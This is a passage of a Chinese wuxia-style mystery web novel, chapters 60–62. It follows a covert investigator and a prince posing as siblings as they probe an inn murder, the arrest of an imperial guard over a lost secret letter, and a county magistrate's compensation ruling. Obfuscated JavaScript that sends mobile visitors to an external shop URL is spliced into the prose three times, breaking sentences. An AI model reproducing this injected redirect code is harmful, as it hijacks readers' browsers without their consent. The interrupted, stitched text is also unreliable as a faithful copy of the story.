“原来如此。”县尉挑了挑眉,笑得意味深长。 京城来的就是不一样。 别人都是哥哥妹妹的叫,这一对儿把姐姐弟弟当情趣。 见县尉出来,三人走上前。 冯老板与罗耀本就没有血缘,对他好不过是看在夫人的面子上。 此刻,他自然没有太过伤心。 “李县尉。不知这……” 县尉抬手打断了他的问题。 “我先问你们。今早是怎么发现尸体的?” 罗夫人哽咽着回答:“今早我正准备给夫君擦药,想着顺便叫阿弟起床,就把药放下去了他的屋里。我敲了几下门,里面都没有动静,我就打开门进去了,没想到……没想到……一进去就看见了……” “死者是昨晚子时前后被害的,死因是喉部割伤导致的失血过多。昨晚子时,有谁来过你们院子?” 冯老板呼吸一滞。 “我们……我们这个院子每晚都要上锁。” “也就是说昨晚只有你们一家人在院中?” “这……”冯老板急得额头满是汗。 他明白此时自己的嫌疑最大。 忽然,一件事情在脑内闪现。 他当即道:“不不不!还有人有钥匙!” “谁?” “是住在小店的几个禁军。小店的大门和后院的小门钥匙都在一串儿。那几位禁军今早卯时初就要走,鄙人腰抻着了,想偷个懒,昨晚就把钥匙给了他们,让他们自行离去,走之前把钥匙放在柜台上就行。” 此时,罗夫人掏出一大串钥匙。 “今早一开门这钥匙就在柜台上。我就把它收着了,” 旁边的伙计忽然开口:“那个禁军和罗耀还争执过……” “什么?”县尉眼前一亮。 冯老板瞪了一眼伙计,堆着笑解释:“鄙人这个小舅子那日喝了酒冲撞了那几位禁军,还弄脏了其中一个军爷的宝刀。” “宝刀?什么模样的宝刀?” 冯老板比划着:“这么长的横刀,刀柄是金子做的,金灿灿的。” 县尉狞笑一声,大手一挥:“弟兄们!去抓人!” 60. 自投罗网 一声令下,衙役们鱼贯而出。 县尉叉着腰发号施令。 “那几个禁军走了不过一个时辰,从这里出城回京必走南门,我们立即回县衙弄几匹马,定然能在今日内追到那几人!” 大堂内人声如沸。 李希言和容朗借着混乱躲在了二楼转角处。 “他觉得凶手是那个禁军?” “怎么?不是吗?”容朗歪了歪头,“能够在案发时进出院子的还和死者有仇的。不就只有那个禁军吗?” 李希言的话模棱两可:“先看吧。” 直觉告诉她,有些不对劲,但是具体是什么,她也说不清。 二人正窃窃私语之时,大堂忽然一静。 县尉和衙役们的眼神都齐齐投射在了大门口。 门口站着四名身着黑色战袍的禁军。 两群人面面相觑,气氛陡然变得紧张起来。 县尉哈哈一笑:“你们还真是自投罗网啊。” “什么?”四名禁军异口同声,俱是一脸迷茫之色。 县尉的眼神在四人之间一转。 果然,其中一个禁军手里拿着一把金刀。 他忽然一跃上前,趁其不备,一把夺走金刀。 那禁军本就极其重视此刀,气得直接一掌打去。 “放肆!” 县尉胜在动作灵活,轻轻一转就躲开了攻击,还顺手拔出了刀。 雪白的刀身上带着几处血迹,发黑的血迹在其上尤其显眼。 县尉站在几步远处,晃了晃刀。 “解释解释,你这刀上的血是怎么来?” 禁军收回手,惊得眼珠子都要凸出来:“不可能!” 县尉将刀放回刀鞘,不屑一哼。 “可不可能不是你说了算。昨晚,罗耀死了,死在了客栈的后院中。” “罗耀?谁是罗耀?” 县尉耸了耸肩:“就是前几日因为醉酒和你起了冲突的罗耀。” 话说的这样明白,那禁军就是再傻也反应过来了。 “你怀疑是我杀了他?” “第一,死者死于昨晚子时。而每晚后院都会被锁住,只有你有钥匙可以进出。其次,死者身上的刀痕和你的刀完全吻合,你的刀上还有血迹。除此以外,你和死者还发生过争执,这些你作何解释?” “我……”禁军涨红了脸,百口莫辩。 县尉摆摆手,示意衙役动手:“把人带回去。” “是!” 衙役们一哄而上。 四名禁军势单力薄,很快就被擒住。 “放开!”禁军挣扎着,偏着头去看那县尉,“我们有要事在身!要是耽误了事情……” 县尉拍了拍他的背,语气轻佻。 “拿我的命来抵都不够?这样的话我听过许多次,没用!把人带走。” 眼见这人油盐不进,那禁军急忙叫住:“等等!” “还有什么事儿啊?军爷?” 那禁军看了一眼同伴,咬牙道:“我是有杀人的嫌疑,但是他们没有。” “王七郎!”他的同伴摇着头。 那禁军别过眼不去看他们,定定地盯着县尉:“你不能抓他们。” 他说的确实有理。 县尉也不好牵连他人,挥了挥手。 “把这三个放了。走吧。” 县尉带着人扬长而去。 被释放的三个禁军都紧紧捏着拳头,眼睁睁看着自己的弟兄被抓走。 直到背影彻底消失,他们才跺了跺脚,又转身回了原来的房间。 站在二楼的两人将一切尽收眼底。 容朗觉得有些不对劲儿。 “瞧那个禁军的样子,倒像是与他无关?” “确实不太像。” “那……” 李希言明白他的未尽之意。 “我看那县尉也不像是会滥用私刑的官,先看看吧。” “你这次倒是沉得住气。嗯?”容朗侧过身,对着她调侃。 若是往常,遇见这种存疑的事情,她定然是立即站出来阻止,要求重新调查。 客栈的大门敞开着,门扇被风吹得微微晃动,街道上只有零星几个人在走动,大堂内更是冷清,只依稀听得见从后院传来的抽泣声。 李希言望向门外,声音比风声还要小,只足够二人能够听见。 “这几日,破云发现附近有人盯着客栈。” “难道是那些人?” “是盯着客栈,不是盯着我们。” 冯老板伤了腰,罗夫人悲泣神伤,客栈的生意还不能停。 二人主动提出帮忙去私塾接他们的孩子回来。 信得过二人的人品,冯老板夫妇自然只有感谢。 私塾门口。 孩子们的读书声还未停止。 二人站在门口等着。 容朗低声问道:“姐姐,你怎么忽然说要来帮忙接孩子?” “还记得我今日上午给你说过的事情吗?” “记得……”容朗瞬间明了,“你是怕那些人是冲着老板他们来的?” “嗯。” 读书声忽然停下,李希言立即侧开身,站到门侧。 就在容朗有些疑惑于她的反应时,大门忽然被轰得一声打开,一群十二岁上下的孩子呼啦啦冲了出来。 这些孩子也不矮,还站在门口的容朗瞬间被孩子冲撞得几欲跌倒。 好不容易人潮过去,他才得以脱身,挤出人群,走到李希言身边。 李希言眼里满是笑,一脸幸灾乐祸的表情。 “姐姐,你怎么知道这些孩子……如此生猛。”容朗揉了隐隐作痛的胸口。 不好的回忆涌上心头。 “和你侄子一个德行。” “李哥哥?李姐姐?” 冯老板只有一个儿子,平日里在客栈也会帮忙跑腿做事,自然是认识二人的。 他走上前,有些疑惑:“你们怎么在这里?” 容朗回答很含糊。 “你爹娘今日有事,特意托我们来接你回家。” 冯小郎点点头:“家里出事了?” “你舅舅被人杀害了。” 李希言本就不打算瞒着孩子。 迟早要知道。 冯小郎愣了一下,倒是没有伤心的意思。 “舅舅……死了?” “嗯,昨晚被人杀了,今早发现的。你娘很伤心,回去后说话要注意。” “我知道了……”冯小郎勉强一笑,“也不稀奇,舅舅老是得罪人。” 李希言心中一动,边走边问。 “你舅舅平日里是恶习不少,但是也不至于会招来杀身之祸吧?” “李姐姐太不了解我舅舅了。”冯小郎摇头晃脑,像个小大人似的,“断人财路如杀人父母。我舅舅在外面赌博出老千招惹赌徒不说,前段时间还以做生意为名骗了好多人的钱,就光这两点就足够别人杀他了。而且啊,他还常常去招惹外头的小娘子。就他做的那些事儿……被杀也不奇怪。” 李希言俯下身,很郑重的表示了赞同:“你说得有理。” 半大的孩子处于小孩往大人过渡的阶段,最看重大人把自己说的话当回事儿,把自己当做同等的人。 被这样对待的冯小郎十分高兴,什么话都往外掏。 “其实啊,舅舅被杀了也好。” “你很讨厌他?” “能不讨厌吗?”冯小郎目露愤恨,“他每次闯了祸都是我爹娘给他擦屁股。又是给别人伏小做低地赔礼道歉又是帮他掏钱补窟窿。我爹娘赚点钱都不容易啊!凭什么给他这样花!” “确实。连我们都撞见过一次。” 冯小郎实际是个很孝顺的孩子,对于父母,他很是心疼。 “我爹娘每日天一亮就起来做事,天黑才能歇下,赚的都是辛苦钱。我娘的手……一到冬日,冻疮发作就难受极了。还有我爹,我爹的腰也不好。就那个罗耀每日惹是生非,动辄要钱要东西。” 他越说越生气,白净的脸都气得通红。 “还有我外祖父外祖母也偏心!自己的儿子扔给我们家,还经常责骂我娘,嫌弃我娘嫁的不好,还说什么早知道就该让我娘去给哪家富户做妾。” 说到这些糟烂事情,冯小郎完全停不下话头,一路上嘀嘀咕咕说了许多,直到已经回到客栈门口他才停了下来。 想到他刚刚的愤慨,李希言不放心地嘱咐道:“等会儿在你娘面前别提这些话。” 冯小郎连连点头:“我知道的,我不是小孩子了,知道轻重。” “好。”容朗笑着摸了摸他的头,“确实是个大人了。” 三人收拾好情绪,踏入客栈大门。 然而刚一踏进去,后院就传来一道破锣极其粗噶的哭喊声,像是被敲击的破锣。 “老天爷呐!没了儿子我可怎么活啊!你这个丧门星赔钱货,害死了你的弟弟。” 冯小郎脸色瞬间一变,直奔后院而去。 “死老太婆!” 看来是罗夫人的父母来了。 能养出这种儿子的爹娘肯定也不是什么好人,今日见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130064|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己儿子惨死,定然会把气泄在罗夫人身上。 二人默契地跟了进去。 一进后院,就看见里面一片混乱。 打水的水桶被摔得四分五裂,晾晒在后院的腊味散落在地,像是遭了强盗似的。 而始作俑者,也就是罗夫人的父母正和一家三口在东厢房的门口对峙着。 冯老板和罗夫人堵在门口,衣裳头发被扯得散乱。 “岳父,这不能进!县衙的人吩咐过,不准外人进去。”冯老板好脾气解释着。 那突眼睛的老头儿满脸赤红,口水横飞。 “老子是外人?!滚!” 他一边说着一边作势去推。 另外一个长得极壮实的老妇人也一把挣开了拉着她的冯小郎。 简直是胡闹! 李希言忍着怒气走上前,一手一个,把两个蛮不讲理的老人提溜开。 “听不懂人话?” “你是什么人!”两个老人不过呆住了一下就立即反击。 李希言冷着脸,锋利的眉眼满是杀气。 “能报官的人。再在这里胡闹,我马上请办案的县尉过来。” 老汉喘过气,指着她鼻子怒骂:“你一个女娃娃……” 李希言没必要给他留什么脸面,直接一掌劈向他的后脖颈。 这一手刀下去,那老汉直接晕了过去。 “你呢?”李希言视线往旁边脸都吓得煞白的老妇人身上一瞟,嘴角勾起,“不走吗?” 容朗夸张地喊了一声:“姐姐不要杀人!” “杀……杀人?”老妇人牙齿都在打颤。 这个年轻女子一身煞气,看得人后背都发凉,还真像是个……会杀人的人! 罗夫人终究心软,上前扶住她:“娘,和我回房吧。” 欺软怕硬的人正愁找不到台阶下,立即缩着脖子点了点头,扶起老头儿就跟着罗夫人回了房。 李希言这才去看刚刚被容朗扶起来的冯小郎。 “可有伤到哪里?” “没有。”冯小郎怨恨地瞪了一眼房间的门,牙齿都磨出了声音,“死得好。” “别胡说。”冯老板象征性地敲了一下他的脑袋,旋即又对着二人拱手道,“多谢二位出手相助。今日要不是二位在,鄙人真是不知该如何是好。” 一个“孝”字就能压得他抬不起头,有理难辨。 李希言更担心其他。 如今罗耀已死,这两个老人是绝对要赖在冯家夫妇头上的…… 这样蛮横的人,冯家夫妇又老实,这日子以后才是难过。 只是,别人的家务事到底没法插手太过,李希言只能安抚几句空话。 容朗等她说完,开口道:“我们先回房了。” 冯老板很是过意不去,想要来送,却被容朗拦住。 “您这腰伤还没好呢,好好歇着吧。” 李希言一路上很是沉默。 “怎么?在担心他们?”容朗知道她的心肠软。 二人停在门口。 李希言转身望向没坐着几个人的大堂。 那县尉走之前不准客栈里的人退房离开,大部分人又害怕这出了命案的凶煞,早早就回了房。 就连那三个禁军也呆在原来的房内。 仔细看去,还隐隐约约能看见他们被映在窗户上的身影。 “是。” 很少见,她爽快的承认了。 容朗没有什么表情:“自己立不起来,别人怎么帮都没有用。” 到底是出身皇室的人。 在他们的眼里,没有软弱二字,对于所谓亲情的顾念更是淡薄。 可是李希言不得不承认他说得对。 她有些黯然。 “不过嘛……我倒是有办法哟。”容朗凑近,“姐姐要不要听一听?” “什么办法?” “冯老板心软,冯小郎可不心软。”容朗拍了拍胸口,很是得意,“只需我调教一二……” 得了。在先帝手下都能讨生活的皇子,出手确实让人放心。 只是这颇有些孩子气的动作看得让人发笑。 见心上人高兴,容朗更是笑得灿烂。 忽然,楼下传来翻箱倒柜的声音。 李希言循声转头。 声音是从禁军居住的房间里传来的。 心脏忽然狂跳一下。 “你说……这些人是怎么回事?” “嗯?”容朗有些不明白她为何深沉了起来。 “为何折返?又为何在屋里翻箱倒柜?” 61. 冬夜雪来 房内。 李希言和容朗对坐着下棋。 虽然屋内的火炉烧得正旺,但是到底是冬日,二人还是缩在罗汉床上,腿上盖着毛毯。 正下完一局,容朗拈起两枚棋子放在棋盘右下角。 “我又输了。” 李希言抿了一口茶,嘴角微微翘起。 她这辈子还真没在棋盘上这样赢过。 “姐姐棋艺太过高超。” 容朗的奉承话让李希言有些脸红。 “怎么?姐姐难道一直认为自己的棋艺不佳?” 李希言也不怕打击到他,直言道:“原来在国师府,十局能赢一局。” “你在国师府的对手是谁?”容朗笑得意味深长。 “师父和大师兄。” 容朗撑着脸:“姐姐。论起棋艺,两任国师本就是国手。你能赢一局已经很不错了。” “真的?”李希言抱着杯子,表情呆呆的。 微黄的烛光下,原本锐利的眉眼柔和了几分,显出几分可爱。 容朗呼吸乱了一瞬:“你不知道吗?” “不知道,师父和大师兄都说他们棋艺很是一般。” “那姐姐都没有和其他人下过?” “没有,很忙。” 容朗倾身,坏笑道:“我看是因为姐姐误以为自己棋艺差,害怕输掉所以才不和人下棋。” 砰—— 窗户忽然被吹得大开,冷风一下灌了进来,呼呼的,还夹杂着几粒雪花。 室内的温度骤降。 “泸州还会下雪?”容朗站起身向窗户走去。 “叙永这边算是在山里了,自然会下雪。” “好美。”容朗招手,“快来看。” 李希言依言走过去。 二人并肩而立。 窗外不远处就是连绵不断的乌蒙山,黑苍苍的。 一眼望不到头的山脉上已经盖上一层薄薄的雪,沿着山脉的赤水河急速奔流着。 和白日藏在云雾里神秘的模样不同。 此时的乌蒙山竟有了几分玉门关的雄壮和苍凉。 李希言不由感叹:“倒有些像凉州……” “凉州?”容朗一听见这两个字浑身汗毛都立起来了。 那个西平郡王长子今年二十八岁身长六尺叫周什么什么彻的记不清名字的阿猫阿狗不就是在凉州吗?! 看他脸色发青,李希言有些疑惑。 “怎么了?” 容朗咬牙切齿:“李少使怎么会想起凉州?” “有些像玉门关。”李希言不明所以。 这人是怎么了? 话憋在心里,又不能说出来。 容朗第一次有点想念自己的大侄子。 要是他在,就可以鼓动他去问! “我只是有些思念二郎了。” 李希言一脸“你疯了”的表情。 那日在河里,脑子进水了? 容朗叹了口气:“我是真心的。” “不过……”李希言垂下双眸,似乎是在思量什么,“也不知道这些日子他的课业有没有落下。” “啊?” “得写封信,让关姐盯着他些……” 十月十五,下元节。 道教有三官大帝,又称三元,是谓天官、?地官、?水官。三官的生辰分别是正月十五、七月十五和十月十五。 这三日分别被称为上元节、中元节和下元节。 下元节这一日,道观会做道场,斋三官,民间则会祭祀亡魂,祈求水官解厄运。 李希言起得很早,刚过卯时就拿着一包糍粑从外面回来。 天上还下着雪,她走得有些急,直接从正门上了楼,丝毫没有发现自己背后的几道异样的眼神与低低的议论声。 “你是不是看错了?” “不会吧……也就她长那样啊,就算五官相似……这个头儿还有那颗痣,总不可能也一样吧?” “那个……我觉得也是她。” “是她又怎样?我只求别遇见他们绣衣司的人,尤其是她!你们俩有这心思在那儿瞅,还不如快点把东西找到。” “知道了,别催!” “可是……那东西真的还在吗?我们还不如……” …… 而楼上则是另外一番景象。 容朗看着走进来的她,仿佛回到了过去,心里比吃了蜜糖还甜。 “傻笑什么?”李希言把油纸包往桌子上一放,随即坐下倒了一盏茶。 桌上的油纸包隐隐约约透着一股子甜香气息。 “这是什么?” “糍粑。你忘了?今日是下元节。”李希言动手拆开油纸包。 里面放着几个沾满了花生碎的糍粑,十分丰满。 她率先拿起一个,眼神黏在糍粑上:“红糖馅儿的。” 看她喜好外露的模样,容朗不禁想起了之前在常州过中秋的事情。 她为了推脱自己的月饼还说什么“我不喜食甜”? 一定得逗一逗她! “姐姐不是不爱吃甜的吗?” 李希言咀嚼的动作一顿。 “随便买的。” “哦~随便买的啊~”容朗拿起一个糍粑晃了晃。 糍粑因为含着饱满的内陷,扭得妖娆。 李希言眯起眼:“你不吃我就拿走了。” 容朗瞬间气短,讨好道:“我是夸姐姐会买吃食。” 他一口咬下,嚼了几口就草草吞掉。 “真是人间美味!” 刚刚吃完,门就响了两声。 “谁?” 门外安静了一下,才有了回应:“李……李娘子,我们是陈将军手下的人,想找您帮忙。” 陈将军?金刀? 看来是自己今日进门的时候不慎被看见了。 李希言正巧也有些问题想要问他们。 “进来吧。” 门被推开。 三名大汉挤挤挨挨,埋着头走了进来。 “下官见过李少使。” 李希言摆摆手:“有何事?” 三人互相看了对方一眼,沉默了起来。 “是为了你们那个同僚来的?” “不是。” 这个回答让二人都有些意外。 “不是?”李希言叩击了两下桌子,“是和上面交待你们的事情有关?你们把事情办砸了?” “真神了!”三人中看上去年纪最小的一个猛地抬起头,“您怎么知道?” 李希言没有回答,问道:“说吧,怎么回事?” 三人中年龄最长的站了出来,说起了这件事的缘由。 “是这样的……” 三人是奉圣命去南诏秘密取回南诏奉上的一封密信。 密信的内容他们并不知道,只知道应该是关乎吐蕃。 结果,那日他们离开后刚刚出城就发现密信丢了,于是,四人就折返回客栈,寻找丢失的密信。 没想到,刚进客栈门,他们就扯进了人命官司里。 难怪那个被抓的禁军愿意束手就擒。 “关乎吐蕃啊……”李希言明白,这不是小事情。 南诏,大晋,吐蕃…… “东西我会吩咐人去找。” 绣衣司的本事谁不了解,三人大喜,立即道谢:“多谢李少使!” “还有事吗?” “没了没了。”年纪最长的一个急忙说道,“劳烦……” 话还未说完,那个稚气些的开了口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144277|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “您能帮我们救出王七哥吗?” 李希言忽的笑一下。 另外两个禁军连连拉住他,急得额头冒汗。 “李少使别和他计较,他年纪小,这事情怎么能麻烦您。” 李希言的反应让二人意外。 “也行。” 二人瞪大了眼。 “那东西本来是那个王七郎在保管吧?” “是……” “本官不亲自问问他前因后果,怎么找东西?”李希言心里觉得好笑。 她有那么吓人吗? “多谢李少使!” 二人惧怕她,也了解她的厉害。 只要她愿意出手,大哥一定会早早被放出来。 反正,人肯定不是大哥杀的。 李希言扫了一眼三人的脸:“你们叫什么名字?” 年纪最大的上前道:“下官余锐。” “下官林天海。” 年纪最小的说道:“下官卓于野,七哥叫王佑年。” “王佑年?”李希言挑眉,“是定远将军家的老幺?” “李少使……”卓于野呆呆的,“您怎么什么都知道啊。” 怎么这个孩子老犯傻! 余锐给他使了个眼色,让他闭嘴。 果然,李希言没有再提这个话茬。 “王爷和我一起去,还是留在客栈?” 王……王爷?哪儿来的王爷? 三人像是被雷劈了一样抬起头。 容朗坏心眼儿地对着三人和善一笑。 “你们好啊。” 这不长乐王吗! 还是余锐反应快,立马拉着另外两人行礼:“下官见过王爷!” “免礼吧,在外别这样客气。”容朗翘起腿,“在外,我和李少使是姐弟哦,我也姓李。” 三人连连点头,心里却打着鼓。 这两个风牛马不相及的人怎么凑到一起去的?还以姐弟相称? “姐姐,我当然要去,我不去谁帮你验尸啊?”容朗掏出自己的杀手锏。 李希言很是坦然:“确实。” 容朗再次在心里感谢自己的哥哥。 果然,姐姐最需要会验尸的人! 当时学验尸果然没错! 二人倒是一片和谐,站着的三个禁军被吓得不轻。 还真叫上姐姐了?而且……验尸……长乐王会验尸! 余锐扯了扯自己的耳朵。 肯定是听错了。 叙永县县衙。 县衙大门口和之前所见的截然不同。 门口的衙役穿着整齐,精神烁然,没有一个在偷懒。 一行人刚一上前就有个胖胖的衙役主动过来问道:“你们来县衙有何事?” 语气威严而不失和善。 过于美好的环境让李希言找回了好脾气。 “我们是来福客栈的住客,关于前几日的罗耀被杀案,我们有些线索,想要见一见你们的县尉。” “线索?”那衙役明显高兴了些,抬手一引,“那跟着我进来吧。” 一进县衙,就只见一片苍翠,没有名贵的花草,都是本地最普通的樟树,高大茂密的树冠顶着积雪盎然立着。一路走过去,整个县衙连装饰的假山都没有,十分简朴。 走过仪门,又拐了个弯,终于到了县衙最偏僻的西北角。 这里是验尸房所在的地方。 不远处的验尸房隐隐约约传来些许哭闹声。 衙役停下脚步,转过头,叹了口气:“县尉就在里面,先在这儿等一等,我们再进去。” 里面的声音让李希言有些好奇。 “可以站在屋檐下等吗?” 衙役诧异地看了她一眼:“你不嫌吵也行。” 62. 再次相见 “我的孩子……我的孩子……” “二丫啊!你才多大啊,娘才养了你几年啊?你就没了啊……” 验尸房的窗户是打开的。 李希言站在屋檐下,用余光探查里面的动向。 只见那个捉人的县尉双手环抱着手臂,一脸怒气。 他对面站着个穿着皮袄的中年男子,八字胡容长脸,一脸无奈。 而在他的身侧,背对着窗户坐着一对儿穿着粗布衣裳的夫妇,大声哭喊着,声音极其哀戚。 “实在是对不住,我会赔偿的。”中年男子苦着脸,不住地道歉。 妇人扭过头看了他一眼又哭了起来。 “赔多少钱也换不回我家二丫!” 县尉居中调解:“你们这事儿总要有个结果,让孩子早日入土为安才是正理。按规矩,你至少要赔偿一百两纹银。” “赔!我等会儿就回去拿去。这事儿是我犯了大罪过,我再添些,赔偿二百两。” 看出她的疑惑,容朗主动开口对着衙役问道:“小哥,这里面是怎么回事啊?” 衙役面露怜悯。 “这人啊,在大街上纵马,把人踩死了,死的还是个小姑娘,真是可惜。” “确实可惜。” “不过嘛,这种事情就是赔钱坐牢,不算难办,反倒是你们那个案子……” 衙役的话未说完,一群人忽然走了过来。 他立即住了嘴:“属下见过张县令。” 来者正是叙永县县衙的一把手——县令张慈。 这人生得黑瘦,个子极高,一双眼睛湛然有神,五官棱角分明,浑身透着一股正气。 他身后跟着两对夫妇,一对年纪稍大,看上去五十来岁,一对儿年轻些,三十多岁的模样。 穿着普通棉布衣裳,但是收拾的整整齐齐,应该是稍稍富裕的农户人家。 李希言在打量张慈的时候,张慈也瞧见了他们。 极英气的女子,气度不凡的男子,三个……军旅出身的人。 “这五人是什么人?” 衙役解释道:“来福客栈的住客,说是有线索要举报。” “原来如此。”张慈颔首,“你们先在此等候,等本官处理完这件事就来。” “是。” 张慈一行人走了进去。 门外的几人视线也跟随了进去。 验尸房内。 张慈刚刚走进,他身后的四人直接越过他就冲向了盖着白布的尸体。 “幺女!” 白布掀开,一声痛呼。 两位老人直接瘫坐在地。 另外一对夫妇也无声地流着泪。 这是…… 李希言看得有些疑惑。 幺女?怎么又来了一对父母? 别说她,衙役忍不住探头探脑。 “咦?这咋回事……” 县尉也挠了挠脑袋:“张县令……这是?” 忽然,瘫坐在地的老妇人抽搐了起来。 “老婆子!” “娘!” “散开!”容朗冲进去拨开众人,跪在老妇人身边,将她的身体放平,头偏向左侧,“气急攻心导致的中风。” 被吓了一跳的张慈立即吩咐:“徐县尉,去我书房里,将书架第二层上绿色的盒子取来。” “是。” 张慈转头对着外面喊道:“还愣着干什么,快把人抬到后院去!” “是!” 客房内。 躺在床上的老妇人面色逐渐变好。 容朗这才松了口气。 “情况如何?”李希言站在一边小声问道。 容朗摸了摸脉:“幸亏张县令的药来得及时,没有大碍。只是日后……行走肯定是有些不便利的。” 老妇人的家人长出一口气。 保住性命比什么都重要! “多谢这位郎君,救了我家老婆子性命!”老丈握住容朗的手,作势要跪。 容朗怎么好意思让老人家跪他,生生架住他。 “您别这样,举手之劳。要谢也要谢张县令,他那颗药才是起了大用。” “咳咳!”张慈的声音从外面传来,“若是无事了,先出来把事情理一理。” 一家人不由看向了病床上还未苏醒的老妇人。 “你们先出去吧。”容朗说道,“我在这里帮你们照应着。” 三人思虑了一二。 “那就多谢郎君了。” 三人前脚出去不到片刻,门外就传来了张慈的声音。 “本官刚刚在门口遇见这四人,他们自称是死者的父母和姐姐姐夫。” “不是……”县尉声音都有些变调。“他们才是死者的父母啊!” 张慈问道:“说清楚,究竟是什么情况?” 只听见那年轻妇人说道:“民妇姓吴,家父吴福平,家母姓刘,都住在附近金莲村。这孩子……这孩子……”她哽咽着,喘了好几口气才说道,“是民妇爹娘收养的孩子,叫做吴缤儿。户籍上是查得到的。” “那你们又是何人?” 李希言走到门边,从门缝中窥探着外面的情况。 正在哭天抢地的夫妇收了泪。 “我们是孩子的亲生父母。” “徐县尉。”张慈有些摸不着头脑,问道,“此案究竟是怎么回事?” “这……”徐县尉也踌躇了一会儿才说道,“这孩子确实是被高家夫妇带来的,他们……他们不是带着户籍凭证,孩子的也有。” 他为了证明自己的话,把怀里揣着的户籍凭证拿了出来。 张慈接过,扫了一眼。 这对夫妇男的姓吴,叫做吴长祖,女的姓高叫做高惠,都是金莲村的人,上面也确实有吴缤儿的籍贯证明,金莲村人。 “亲生父母既在,何来养父母?” “那个……”刚刚一直在旁边看着的中年男子试探着说道,“鄙人想问一问,这钱到底赔给谁啊?” 张慈瞪了他一眼。 “这不是在梳理案情吗?你多什么嘴?” 要不是此人,这孩子也不会就这样没了! 中年男子讪讪低下了头。 “当然是赔给我们!”吴长祖和高惠异口同声。 高惠摔着帕子:“孩子是我身上掉下来的一块肉,不赔给我赔给谁?” “呸!你也有脸说这话!”吴氏指着她鼻子骂,“黑心婆娘,你敢不敢摸着良心说你当时是怎么对这孩子的!孩子一直好好的,一碰见你们就出事!说不定孩子就是被你给克死的!” “老娘克孩子?不知道是哪个……”高惠讥笑,“一家子都是下不了种蛋的母鸡。” “你倒是生得多,像个母猪下了十几个,前年才出了一个公的,不晓得是在哪个狗窝猪圈里面捡的!” 蜀人骂人本就是一绝,二人专往对方痛处戳,骂得更是不可开交。 张慈气得脸都黑了,重重拍了一下桌子。 “都住嘴!” 正要回嘴的高惠缩了缩脖子,吴氏也别过头,没再开口。 “来。”张慈指着当事人中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152171|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上去最老实的吴氏的丈夫,“你来说。” “是。”吴氏的丈夫安抚着妻子,说起了这段过往。 两家人都是一个村,一个姓的,往上倒多少代都是同一个祖宗。 几年前,吴氏听说邻居说吴长祖生了个女儿,不想要,又准备把孩子扔河里。 吴氏心软,抢着在高长祖家扔孩子前把孩子要了过来。吴福平夫妇知道这事儿后就跑过来帮忙,没想到双方有缘份得很,一见就跟亲生的似的,就认作了小女儿。 想着自己和姐姐都不在家中,家里有个孩子也能让二老有个寄托,吴氏也应了下来。 就这样,吴缤儿就成了吴家的孩子。 “这孩子打小就聪明伶俐,家里人都很喜欢她。” “所以孩子是一直跟着你们吴家生活的?” “是,街坊四邻皆可作证。是前年的时候,他家里寻来,说是想看看孩子。我们想着到底是孩子亲爹娘,也没阻拦着,就经常让他们带着孩子出去玩耍。没想到……” 虽无血缘,但是到底是从小看着长大的,吴氏的丈夫也忍不住流泪。 张慈又问吴长祖夫妇:“他说的可属实?” 吴长祖和高惠看了对方一眼,手不住地乱动着。 “是……” “好。”张慈立即下了决断,“孩子既然一直是吴家养着,赔偿的银两就交给吴家。” 靠在自家女婿身上的吴福平摇着头,双眼空洞。 “孩子……孩子……” “怎么能这样判!”高惠失声道,“孩子是我生的!” 容朗的声音忽然在耳边低低响起。 “姐姐,按照律法,这钱到底该赔给谁啊?” “按照律法是都有,但是比例上,并没有特别详细的规定。不过嘛……这案子……”李希言盯着外面吴长祖夫妇的脸,目露杀气。 外面,张慈很是纠结,思虑了许久才开口道:“吴缤儿今年已经八岁,每年的花销至少要三两银子,八年就是二十四两。吴家抚养八年,按照雇佣的价格算,两个人一年也是十二两,八年就是九十六两,总计一百二十两。剩下的就是你们家的。” 八十两不算少了。 吴长祖夫妇眼神交汇许久,终于还是点了头。 “可以……” 伤人的男子朝着张慈拱手:“那鄙人就先回去拿钱了。” “慢着!”李希言掀开帘子快步走了出去,直接站在了中年男子的去路上,“你去拿钱的时候顺便把你家小主子叫来才是正理。” “什么……”男子脸色一白,“您这是什么意思……” 李希言锐利的目光一转,直直盯着他的身后——吴长祖夫妇。 “二位,几日不见,可还记得我?” 吴长祖夫妇露出了和男子一样的表情。 “慌什么?”李希言慢慢逼近,“记得我吗?” 她身上极有压迫感的气势让二人抖了起来,张着嘴说不出话来。 “不记得?”李希言招手,“阿弟,出来。” 容朗依言走到她的身边:“怎么了?姐姐?” “你看看,认不认得他们。” 容朗顺着她的手看向二人。 脸有些平凡……男的高壮,女的敦实。 一个画面突然从他眼前闪过:“是他们!” “怎么?二位,看见自己女儿的救命恩人就不认识?” 救命恩人? 一时之间,在场所有人都糊涂了。 